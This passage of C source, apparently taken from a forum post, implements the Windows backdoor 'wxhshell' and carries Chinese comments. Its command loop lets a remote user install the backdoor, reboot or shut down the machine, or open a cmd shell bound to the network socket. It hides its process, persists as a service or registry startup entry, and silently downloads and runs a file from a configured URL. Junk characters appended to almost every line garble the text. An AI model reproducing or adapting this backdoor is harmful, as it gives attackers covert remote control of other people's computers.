  } /AyxkXq  
  else { FvG?%IFM  
aWH  
    switch(cmd[0]) { ;E[Q/ tr:w  
  V"'PA-z3  
  // 帮助 p Pag@L  
  case '?': { gu%i|-}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V0# Ocq,  
    break; (>f`>6 V  
  } eG8 l^[  
  // 安装 U djYRfk  
  case 'i': { ("r:L<xe&  
    if(Install()) Ir5|H|b<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj\lF*B  
    else awvP;F?q|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6UZC-M0  
    break; 8D,*_p  
    } D4{KU%Xp&  
  // 卸载 QxGcRlpLK  
  case 'r': { %[s%H)e)  
    if(Uninstall()) F?05+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #p55/54ZI  
    else -{8K/!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #.[eZ[  
    break; KX 7 fgC  
    } B2P@9u|9  
  // 显示 wxhshell 所在路径 CaO-aL  
  case 'p': { P9f`<o  
    char svExeFile[MAX_PATH]; AO]cnh C  
    strcpy(svExeFile,"\n\r"); @2a!T03  
      strcat(svExeFile,ExeFile); %2\tly!{ %  
        send(wsh,svExeFile,strlen(svExeFile),0); z7gX@@T  
    break; CfSP*g0rW  
    } 3Jt# Mp  
  // 重启 vJ=Q{_D=\  
  case 'b': { CswKT 9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i%i />;DF  
    if(Boot(REBOOT)) 'L-DMNxBr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M@<9/xPS  
    else { f,Dic%$q  
    closesocket(wsh);  X(X[v]  
    ExitThread(0); ,Kl?-W@  
    } X-kOp9/.  
    break; uOJqj{k_."  
    } m%apGp'=1  
  // 关机 LX oJw$C  
  case 'd': { x.wDA3ys  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7`&ISRU4  
    if(Boot(SHUTDOWN)) l v hJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &KAe+~aPm  
    else { ZV+tHgzlv5  
    closesocket(wsh); :v;U7  
    ExitThread(0); ~IjID  
    } _p+E(i 9  
    break; 5Gy#$'kdf  
    } "t(_r@qU/  
  // 获取shell f$:SacF  
  case 's': { r{9fm,  
    CmdShell(wsh); X!^|Tass  
    closesocket(wsh); la_c:#ho  
    ExitThread(0); C!Srv 7  
    break; \3^ue0  
  } 1O NkmVtL  
  // 退出 gCC7L(1  
  case 'x': { t(-,mw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zU+q03l8Ur  
    CloseIt(wsh); 0 }od Q#  
    break; QAp]cE1ew  
    } 0]iaNR %  
  // 离开 #Gg^QJ*  
  case 'q': { BLO ]78  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?z&%VU"  
    closesocket(wsh); 7 [1|(6$  
    WSACleanup(); iW>^'W#  
    exit(1); %kV7 <:y  
    break; ,>S7c  
        } cPNc$^Y  
  } =urGs`\  
  } 4}v|^_x-i  
;-kDJ i  
  // 提示信息 BR@m*JGajz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); URrx7F98  
} B6k<#-HAT  
  } 6X%g-aTs  
=(D"(OsQ/  
  return; h )5S4)  
} @;P ;iI  
W Eif&<Y  
// shell模块句柄 pC>h"Hy  
int CmdShell(SOCKET sock) CCe>*tdf  
{ |&rCXfC  
STARTUPINFO si; BB(6[V"SV  
ZeroMemory(&si,sizeof(si)); *Z_4bR4Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D\-\U E/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {D Q%fneN4  
PROCESS_INFORMATION ProcessInfo; 8mKp PwG0  
char cmdline[]="cmd"; o5?Y   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lm2) 3;ei  
  return 0; UWvVYdy7  
} ]{\ttb%GX  
[A!w  
// 自身启动模式 ;ISnI  
int StartFromService(void) T TN!$?G3  
{ 9"]#.A^Q*  
typedef struct ucx02^uA  
{ }}QR'  
  DWORD ExitStatus; 3>@VPMi  
  DWORD PebBaseAddress; zZ8*a\  
  DWORD AffinityMask; O.(2  
  DWORD BasePriority; tj[E!  
  ULONG UniqueProcessId; :1>?:3,`  
  ULONG InheritedFromUniqueProcessId; @ gWd  
}   PROCESS_BASIC_INFORMATION; ngl +`|u  
d9M[]{  
PROCNTQSIP NtQueryInformationProcess; c:Nm!+5_(  
8$ u"92  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ' 1gfXC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N8dxgh!,  
?l^Xauk4Pj  
  HANDLE             hProcess; " L`)^  
  PROCESS_BASIC_INFORMATION pbi; &b tI#  
"U-jZ5o"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~! -JN}H m  
  if(NULL == hInst ) return 0; ~ $g:  
BA]$Fi.Mw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,dCEy+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JUpV(p"-r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S*V}1</L  
Xi98:0<=  
  if (!NtQueryInformationProcess) return 0; 0yI1r7yNB+  
njaMI8|Pa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4}uOut  
  if(!hProcess) return 0; SscB&{f  
/D3{EjUE=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zTw"5N  
_V-KyK  
  CloseHandle(hProcess); p/HDG ^T:u  
Ec@n<KK#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *(?Wzanh  
if(hProcess==NULL) return 0; Sz go@x$^  
wwB3m&  
HMODULE hMod; Lz'VQO1U=  
char procName[255]; *7jz(iX  
unsigned long cbNeeded; Q S&B"7;g  
rTIu'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6(f 'P_*  
Yg^ &4ZF  
  CloseHandle(hProcess); Y#ZgrziYM  
ro{!X,_$,  
if(strstr(procName,"services")) return 1; // 以服务启动 +1!iwmch>  
Kf[d@ L  
  return 0; // 注册表启动 rR> X<  
}  S=(O6+U  
 mLxgvp  
// 主模块 (?na|yd  
int StartWxhshell(LPSTR lpCmdLine) }|kFHodo  
{ k||t<&`Ze  
  SOCKET wsl; -Lh7!d  
BOOL val=TRUE; 3N2d V6u  
  int port=0; ;/j2(O^  
  struct sockaddr_in door; qq| 5[I.?  
ukW&\  
  if(wscfg.ws_autoins) Install(); FQDf?d5  
[X.bR$>  
port=atoi(lpCmdLine); }aVZ\PDg  
3 !@  
if(port<=0) port=wscfg.ws_port; "d_wu#fO)  
kt/,& oKI  
  WSADATA data; s{Z)<n03  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MY^{[ #Q  
:CyHo6o9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X g6ezlW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FPDTw8" B;  
  door.sin_family = AF_INET; CI'RuR3y]Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iAwEnQ3h  
  door.sin_port = htons(port); ^a4z*#IOr  
x;n3 Zr;(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F)LbH& Kn  
closesocket(wsl); `<C<[JP:o  
return 1; }X&rJV  
} <-umeY"n>  
Wh)D_  
  if(listen(wsl,2) == INVALID_SOCKET) { d#g))f;  
closesocket(wsl); w7V\_^&Id  
return 1; 7Q}pKq]P  
} 4I$Y(E}  
  Wxhshell(wsl); o}OY,P  
  WSACleanup(); *VZ|Idp  
hH8&g%{2  
return 0; $ F2Uv\7=  
dZU#lg  
} iVXt@[  
lK0ny>RB  
// 以NT服务方式启动 [0 F~e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $.SBW=^V  
{ \#{PV\x:Nn  
DWORD   status = 0; *; Jb=  
  DWORD   specificError = 0xfffffff; fjh|V9H  
pH1!6X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D0D=;k   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BzzC|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 513,k$7  
  serviceStatus.dwWin32ExitCode     = 0; $ Habhw  
  serviceStatus.dwServiceSpecificExitCode = 0; mlnF,+s  
  serviceStatus.dwCheckPoint       = 0; }aZuCe_  
  serviceStatus.dwWaitHint       = 0; 9L=mS  
XcVN{6-z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u^" I3u8$  
  if (hServiceStatusHandle==0) return; 4ax{Chn  
u"[f\l  
status = GetLastError(); -*C WF|<G  
  if (status!=NO_ERROR) UVo`jb|> o  
{ !+GYu;_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mci> MEb  
    serviceStatus.dwCheckPoint       = 0; *]$B 9zVs!  
    serviceStatus.dwWaitHint       = 0; s^h@b!'7  
    serviceStatus.dwWin32ExitCode     = status; (Xd8'-G$m  
    serviceStatus.dwServiceSpecificExitCode = specificError; <xI<^r'C9e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SH%NYjj  
    return; cHjQwl  
  } fF@w:;u  
sg2;"E@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ma.84~m  
  serviceStatus.dwCheckPoint       = 0; 3Z!%td5n  
  serviceStatus.dwWaitHint       = 0; ov6xa*'a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |7qt/z  
} 4Uy%wB  
dljE.peL  
// 处理NT服务事件,比如:启动、停止 Q Be6\oq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PTQ#8(_,  
{ hFrMOc&  
switch(fdwControl) L5&M@YTH  
{ st-{xC#N#  
case SERVICE_CONTROL_STOP: mUYRioNj  
  serviceStatus.dwWin32ExitCode = 0; [&)]-2w2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pSs*Z6c)@  
  serviceStatus.dwCheckPoint   = 0; ]3KeAJ  
  serviceStatus.dwWaitHint     = 0; a=z] tTs4  
  { 9/ <3mF@E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TZn 15-O  
  } F.9}jd{  
  return; H>~CL  
case SERVICE_CONTROL_PAUSE: iC"iR\Qu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u47<J?!Q  
  break; "Ep"$d  
case SERVICE_CONTROL_CONTINUE: Iy<>-e"|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w,UE0i9I  
  break; Q6h+.  
case SERVICE_CONTROL_INTERROGATE: >3 o4 U2  
  break; djd/QAfSC  
}; R9J!}az'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BU`X_Z1)  
} E~!$&9\  
S 'a- E![  
// 标准应用程序主函数 kDmm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?nU<cxh  
{ n]%- 2`}(  
|[\;.gT K  
// 获取操作系统版本 N /4E ~^2  
OsIsNt=GetOsVer(); 2+1ybOwb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f ULt4  
'{&Q&3J_  
  // 从命令行安装 RSX27fb4  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9YzV48su#  
#;[G>-tC  
  // 下载执行文件 [vg&E )V  
if(wscfg.ws_downexe) { oC0ndp~+&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 56V|=MzX]  
  WinExec(wscfg.ws_filenam,SW_HIDE); HD j6E"  
} |iM,bs  
HsY5wC  
if(!OsIsNt) { -3Kh >b)  
// 如果时win9x,隐藏进程并且设置为注册表启动 6o't3Peh  
HideProc(); U4D7@KY +m  
StartWxhshell(lpCmdLine); rH@Rh}#yp  
} \8vP"Kr  
else i%2u>N i^  
  if(StartFromService()) GVY7`k"km  
  // 以服务方式启动 Q,U0xGGz  
  StartServiceCtrlDispatcher(DispatchTable); D An2Pqf  
else J8ni}\f  
  // 普通方式启动 4cjfn'x  
  StartWxhshell(lpCmdLine); fdl.3~.C  
c(Q@5@1y:  
return 0; dCC*|b8h  
}
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只看该作者 1 发表于: 2006-10-10
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